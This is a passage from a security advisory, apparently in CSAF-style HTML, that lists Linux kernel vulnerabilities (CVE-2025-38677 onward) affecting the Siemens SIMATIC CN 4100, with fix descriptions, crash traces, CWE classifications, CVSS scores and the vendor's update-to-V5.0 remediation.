4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-805 Buffer Access with Incorrect Length Value\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38677\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: f2fs: fix to avoid out-of-boundary access in dnode page As Jiaming Zhang reported: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0x1c1/0x2a0 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0x17e/0x800 mm/kasan/report.c:480 kasan_report+0x147/0x180 mm/kasan/report.c:593 data_blkaddr fs/f2fs/f2fs.h:3053 [inline] f2fs_data_blkaddr fs/f2fs/f2fs.h:3058 [inline] f2fs_get_dnode_of_data+0x1a09/0x1c40 fs/f2fs/node.c:855 f2fs_reserve_block+0x53/0x310 fs/f2fs/data.c:1195 prepare_write_begin fs/f2fs/data.c:3395 [inline] f2fs_write_begin+0xf39/0x2190 fs/f2fs/data.c:3594 generic_perform_write+0x2c7/0x910 mm/filemap.c:4112 f2fs_buffered_write_iter fs/f2fs/file.c:4988 [inline] f2fs_file_write_iter+0x1ec8/0x2410 fs/f2fs/file.c:5216 new_sync_write fs/read_write.c:593 [inline] vfs_write+0x546/0xa90 fs/read_write.c:686 ksys_write+0x149/0x250 fs/read_write.c:738 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xf3/0x3d0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f The root cause is in the corrupted image, there is a dnode has the same node id w/ its inode, so during f2fs_get_dnode_of_data(), it tries to access block address in dnode at offset 934, however it parses the dnode as inode node, so that get_dnode_addr() returns 360, then it tries to access page address from 360 + 934 * 4 = 4096 w/ 4 bytes. To fix this issue, let's add sanity check for node id of all direct nodes during f2fs_get_dnode_of_data().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38679\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: venus: Fix OOB read due to missing payload bound check Currently, The event_seq_changed() handler processes a variable number of properties sent by the firmware. The number of properties is indicated by the firmware and used to iterate over the payload. However, the payload size is not being validated against the actual message length. This can lead to out-of-bounds memory access if the firmware provides a property count that exceeds the data available in the payload. Such a condition can result in kernel crashes or potential information leaks if memory beyond the buffer is accessed. Fix this by properly validating the remaining size of the payload before each property access and updating bounds accordingly as properties are parsed. This ensures that property parsing is safely bounded within the received message buffer and protects against malformed or malicious firmware behavior.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38680\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: uvcvideo: Fix 1-byte out-of-bounds read in uvc_parse_format() The buffer length check before calling uvc_parse_format() only ensured that the buffer has at least 3 bytes (buflen > 2), buf the function accesses buffer[3], requiring at least 4 bytes. This can lead to an out-of-bounds read if the buffer has exactly 3 bytes. Fix it by checking that the buffer has at least 4 bytes in uvc_parse_format().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38681\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/ptdump: take the memory hotplug lock inside ptdump_walk_pgd() Memory hot remove unmaps and tears down various kernel page table regions as required. The ptdump code can race with concurrent modifications of the kernel page tables. When leaf entries are modified concurrently, the dump code may log stale or inconsistent information for a VA range, but this is otherwise not harmful. But when intermediate levels of kernel page table are freed, the dump code will continue to use memory that has been freed and potentially reallocated for another purpose. In such cases, the ptdump code may dereference bogus addresses, leading to a number of potential problems. To avoid the above mentioned race condition, platforms such as arm64, riscv and s390 take memory hotplug lock, while dumping kernel page table via the sysfs interface /sys/kernel/debug/kernel_page_tables. Similar race condition exists while checking for pages that might have been marked W+X via /sys/kernel/debug/kernel_page_tables/check_wx_pages which in turn calls ptdump_check_wx(). Instead of solving this race condition again, let's just move the memory hotplug lock inside generic ptdump_check_wx() which will benefit both the scenarios. Drop get_online_mems() and put_online_mems() combination from all existing platform ptdump code paths.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-366 Race Condition within a Thread\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n6.5\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38683\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: hv_netvsc: Fix panic during namespace deletion with VF The existing code move the VF NIC to new namespace when NETDEV_REGISTER is received on netvsc NIC. During deletion of the namespace, default_device_exit_batch() >> default_device_exit_net() is called. When netvsc NIC is moved back and registered to the default namespace, it automatically brings VF NIC back to the default namespace. This will cause the default_device_exit_net() >> for_each_netdev_safe loop unable to detect the list end, and hit NULL ptr: [ 231.449420] mana 7870:00:00.0 enP30832s1: Moved VF to namespace with: eth0 [ 231.449656] BUG: kernel NULL pointer dereference, address: 0000000000000010 [ 231.450246] #PF: supervisor read access in kernel mode [ 231.450579] #PF: error_code(0x0000) - not-present page [ 231.450916] PGD 17b8a8067 P4D 0 [ 231.451163] Oops: Oops: 0000 [#1] SMP NOPTI [ 231.451450] CPU: 82 UID: 0 PID: 1394 Comm: kworker/u768:1 Not tainted 6.16.0-rc4+ #3 VOLUNTARY [ 231.452042] Hardware name: Microsoft Corporation Virtual Machine/Virtual Machine, BIOS Hyper-V UEFI Release v4.1 11/21/2024 [ 231.452692] Workqueue: netns cleanup_net [ 231.452947] RIP: 0010:default_device_exit_batch+0x16c/0x3f0 [ 231.453326] Code: c0 0c f5 b3 e8 d5 db fe ff 48 85 c0 74 15 48 c7 c2 f8 fd ca b2 be 10 00 00 00 48 8d 7d c0 e8 7b 77 25 00 49 8b 86 28 01 00 00 <48> 8b 50 10 4c 8b 2a 4c 8d 62 f0 49 83 ed 10 4c 39 e0 0f 84 d6 00 [ 231.454294] RSP: 0018:ff75fc7c9bf9fd00 EFLAGS: 00010246 [ 231.454610] RAX: 0000000000000000 RBX: 0000000000000002 RCX: 61c8864680b583eb [ 231.455094] RDX: ff1fa9f71462d800 RSI: ff75fc7c9bf9fd38 RDI: 0000000030766564 [ 231.455686] RBP: ff75fc7c9bf9fd78 R08: 0000000000000000 R09: 0000000000000000 [ 231.456126] R10: 0000000000000001 R11: 0000000000000004 R12: ff1fa9f70088e340 [ 231.456621] R13: ff1fa9f70088e340 R14: ffffffffb3f50c20 R15: ff1fa9f7103e6340 [ 231.457161] FS: 0000000000000000(0000) GS:ff1faa6783a08000(0000) knlGS:0000000000000000 [ 231.457707] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 231.458031] CR2: 0000000000000010 CR3: 0000000179ab2006 CR4: 0000000000b73ef0 [ 231.458434] Call Trace: [ 231.458600] [ 231.458777] ops_undo_list+0x100/0x220 [ 231.459015] cleanup_net+0x1b8/0x300 [ 231.459285] process_one_work+0x184/0x340 To fix it, move the ns change to a workqueue, and take rtnl_lock to avoid changing the netdev list when default_device_exit_net() is using it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-820 Missing Synchronization\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.2\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38684\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/sched: ets: use old 'nbands' while purging unused classes Shuang reported sch_ets test-case [1] crashing in ets_class_qlen_notify() after recent changes from Lion [2]. The problem is: in ets_qdisc_change() we purge unused DWRR queues; the value of 'q->nbands' is the new one, and the cleanup should be done with the old one. The problem is here since my first attempts to fix ets_qdisc_change(), but it surfaced again after the recent qdisc len accounting fixes. Fix it purging idle DWRR queues before assigning a new value of 'q->nbands', so that all purge operations find a consistent configuration: - old 'q->nbands' because it's needed by ets_class_find() - old 'q->nstrict' because it's needed by ets_class_is_strict() BUG: kernel NULL pointer dereference, address: 0000000000000000 #PF: supervisor read access in kernel mode #PF: error_code(0x0000) - not-present page PGD 0 P4D 0 Oops: Oops: 0000 [#1] SMP NOPTI CPU: 62 UID: 0 PID: 39457 Comm: tc Kdump: loaded Not tainted 6.12.0-116.el10.x86_64 #1 PREEMPT(voluntary) Hardware name: Dell Inc. PowerEdge R640/06DKY5, BIOS 2.12.2 07/09/2021 RIP: 0010:__list_del_entry_valid_or_report+0x4/0x80 Code: ff 4c 39 c7 0f 84 39 19 8e ff b8 01 00 00 00 c3 cc cc cc cc 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa <48> 8b 17 48 8b 4f 08 48 85 d2 0f 84 56 19 8e ff 48 85 c9 0f 84 ab RSP: 0018:ffffba186009f400 EFLAGS: 00010202 RAX: 00000000000000d6 RBX: 0000000000000000 RCX: 0000000000000004 RDX: ffff9f0fa29b69c0 RSI: 0000000000000000 RDI: 0000000000000000 RBP: ffffffffc12c2400 R08: 0000000000000008 R09: 0000000000000004 R10: ffffffffffffffff R11: 0000000000000004 R12: 0000000000000000 R13: ffff9f0f8cfe0000 R14: 0000000000100005 R15: 0000000000000000 FS: 00007f2154f37480(0000) GS:ffff9f269c1c0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000000 CR3: 00000001530be001 CR4: 00000000007726f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 PKRU: 55555554 Call Trace: ets_class_qlen_notify+0x65/0x90 [sch_ets] qdisc_tree_reduce_backlog+0x74/0x110 ets_qdisc_change+0x630/0xa40 [sch_ets] __tc_modify_qdisc.constprop.0+0x216/0x7f0 tc_modify_qdisc+0x7c/0x120 rtnetlink_rcv_msg+0x145/0x3f0 netlink_rcv_skb+0x53/0x100 netlink_unicast+0x245/0x390 netlink_sendmsg+0x21b/0x470 ____sys_sendmsg+0x39d/0x3d0 ___sys_sendmsg+0x9a/0xe0 __sys_sendmsg+0x7a/0xd0 do_syscall_64+0x7d/0x160 entry_SYSCALL_64_after_hwframe+0x76/0x7e RIP: 0033:0x7f2155114084 Code: 89 02 b8 ff ff ff ff eb bb 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 f3 0f 1e fa 80 3d 25 f0 0c 00 00 74 13 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 54 c3 0f 1f 00 48 83 ec 28 89 54 24 1c 48 89 RSP: 002b:00007fff1fd7a988 EFLAGS: 00000202 ORIG_RAX: 000000000000002e RAX: ffffffffffffffda RBX: 0000560ec063e5e0 RCX: 00007f2155114084 RDX: 0000000000000000 RSI: 00007fff1fd7a9f0 RDI: 0000000000000003 RBP: 00007fff1fd7aa60 R08: 0000000000000010 R09: 000000000000003f R10: 0000560ee9b3a010 R11: 0000000000000202 R12: 00007fff1fd7aae0 R13: 000000006891ccde R14: 0000560ec063e5e0 R15: 00007fff1fd7aad0 [1] https://lore.kernel.org/netdev/e08c7f4a6882f260011909a868311c6e9b54f3e4.1639153474.git.dcaratti@redhat.com/ [2] https://lore.kernel.org/netdev/d912cbd7-193b-4269-9857-525bee8bbb6a@gmail.com/\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.2\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38685\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fbdev: Fix vmalloc out-of-bounds write in fast_imageblit This issue triggers when a userspace program does an ioctl FBIOPUT_CON2FBMAP by passing console number and frame buffer number. Ideally this maps console to frame buffer and updates the screen if console is visible. As part of mapping it has to do resize of console according to frame buffer info. if this resize fails and returns from vc_do_resize() and continues further. At this point console and new frame buffer are mapped and sets display vars. Despite failure still it continue to proceed updating the screen at later stages where vc_data is related to previous frame buffer and frame buffer info and display vars are mapped to new frame buffer and eventully leading to out-of-bounds write in fast_imageblit(). This bheviour is excepted only when fg_console is equal to requested console which is a visible console and updates screen with invalid struct references in fbcon_putcs().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38687\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: fix race between polling and detaching syzbot reports a use-after-free in comedi in the below link, which is due to comedi gladly removing the allocated async area even though poll requests are still active on the wait_queue_head inside of it. This can cause a use-after-free when the poll entries are later triggered or removed, as the memory for the wait_queue_head has been freed. We need to check there are no tasks queued on any of the subdevices' wait queues before allowing the device to be detached by the `COMEDI_DEVCONFIG` ioctl. Tasks will read-lock `dev->attach_lock` before adding themselves to the subdevice wait queue, so fix the problem in the `COMEDI_DEVCONFIG` ioctl handler by write-locking `dev->attach_lock` before checking that all of the subdevices are safe to be deleted. This includes testing for any sleepers on the subdevices' wait queues. It remains locked until the device has been detached. This requires the `comedi_device_detach()` function to be refactored slightly, moving the bulk of it into new function `comedi_device_detach_locked()`. Note that the refactor of `comedi_device_detach()` results in `comedi_device_cancel_all()` now being called while `dev->attach_lock` is write-locked, which wasn't the case previously, but that does not matter. Thanks to Jens Axboe for diagnosing the problem and co-developing this patch.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38691\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: pNFS: Fix uninited ptr deref in block/scsi layout The error occurs on the third attempt to encode extents. When function ext_tree_prepare_commit() reallocates a larger buffer to retry encoding extents, the \"layoutupdate_pages\" page array is initialized only after the retry loop. But ext_tree_free_commitdata() is called on every iteration and tries to put pages in the array, thus dereferencing uninitialized pointers. An additional problem is that there is no limit on the maximum possible buffer_size. When there are too many extents, the client may create a layoutcommit that is larger than the maximum possible RPC size accepted by the server. During testing, we observed two typical scenarios. First, one memory page for extents is enough when we work with small files, append data to the end of the file, or preallocate extents before writing. But when we fill a new large file without preallocating, the number of extents can be huge, and counting the number of written extents in ext_tree_encode_commit() does not help much. Since this number increases even more between unlocking and locking of ext_tree, the reallocated buffer may not be large enough again and again.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-908 Use of Uninitialized Resource\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38693\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: dvb-frontends: w7090p: fix null-ptr-deref in w7090p_tuner_write_serpar and w7090p_tuner_read_serpar In w7090p_tuner_write_serpar, msg is controlled by user. When msg[0].buf is null and msg[0].len is zero, former checks on msg[0].buf would be passed. If accessing msg[0].buf[2] without sanity check, null pointer deref would happen. We add check on msg[0].len to prevent crash. Similar commit: commit 0ed554fd769a (\"media: dvb-usb: az6027: fix null-ptr-deref in az6027_i2c_xfer()\")\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38694\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: media: dvb-frontends: dib7090p: fix null-ptr-deref in dib7090p_rw_on_apb() In dib7090p_rw_on_apb, msg is controlled by user. When msg[0].buf is null and msg[0].len is zero, former checks on msg[0].buf would be passed. If accessing msg[0].buf[2] without sanity check, null pointer deref would happen. We add check on msg[0].len to prevent crash. Similar issue occurs when access msg[1].buf[0] and msg[1].buf[1]. Similar commit: commit 0ed554fd769a (\"media: dvb-usb: az6027: fix null-ptr-deref in az6027_i2c_xfer()\")\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38695\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: lpfc: Check for hdwq null ptr when cleaning up lpfc_vport structure If a call to lpfc_sli4_read_rev() from lpfc_sli4_hba_setup() fails, the resultant cleanup routine lpfc_sli4_vport_delete_fcp_xri_aborted() may occur before sli4_hba.hdwqs are allocated. This may result in a null pointer dereference when attempting to take the abts_io_buf_list_lock for the first hardware queue. Fix by adding a null ptr check on phba->sli4_hba.hdwq and early return because this situation means there must have been an error during port initialization.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-476 NULL Pointer Dereference\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38696\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: MIPS: Don't crash in stack_top() for tasks without ABI or vDSO Not all tasks have an ABI associated or vDSO mapped, for example kthreads never do. If such a task ever ends up calling stack_top(), it will derefence the NULL ABI pointer and crash. This can for example happen when using kunit: mips_stack_top+0x28/0xc0 arch_pick_mmap_layout+0x190/0x220 kunit_vm_mmap_init+0xf8/0x138 __kunit_add_resource+0x40/0xa8 kunit_vm_mmap+0x88/0xd8 usercopy_test_init+0xb8/0x240 kunit_try_run_case+0x5c/0x1a8 kunit_generic_run_threadfn_adapter+0x28/0x50 kthread+0x118/0x240 ret_from_kernel_thread+0x14/0x1c Only dereference the ABI point if it is set. The GIC page is also included as it is specific to the vDSO. Also move the randomization adjustment into the same conditional.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38697\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: upper bound check of tree index in dbAllocAG When computing the tree index in dbAllocAG, we never check if we are out of bounds realative to the size of the stree. This could happen in a scenario where the filesystem metadata are corrupted.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38698\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: Regular file corruption check The reproducer builds a corrupted file on disk with a negative i_size value. Add a check when opening this file to avoid subsequent operation failures.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector 